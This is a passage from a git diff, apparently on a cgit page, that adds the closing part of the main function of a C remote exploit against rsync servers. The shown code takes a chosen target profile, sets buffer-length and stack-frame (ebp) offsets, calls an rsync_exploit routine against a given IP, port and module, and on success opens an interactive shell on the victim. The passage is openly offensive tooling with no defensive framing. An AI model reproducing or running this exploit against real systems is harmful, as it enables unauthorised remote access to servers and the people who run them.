mod); + + /* + * User MUST select a target (at least!). + */ + if (target_n == -1 || target_n >= sizeof(targets) / sizeof(*targets)) + usage(); + + targets[target_n - 1].maxpath = maxpath; + targets[target_n - 1].ebp_dist = distance; + + printf("MAXPATHLEN : %d\n", targets[target_n - 1].maxpath); + printf("ebp distance : %d\n", targets[target_n - 1].ebp_dist); + + printf("checking if we everything works out... \n"); + s = rsync_exploit(ip, port, mod, remote_version, target_n-1); + + if (s < 0) + printf("failed :/ Maybe $ebp already ends in 00 or 04.\n"); + else + shell(s); + + + return 0; +} -- cgit v1.3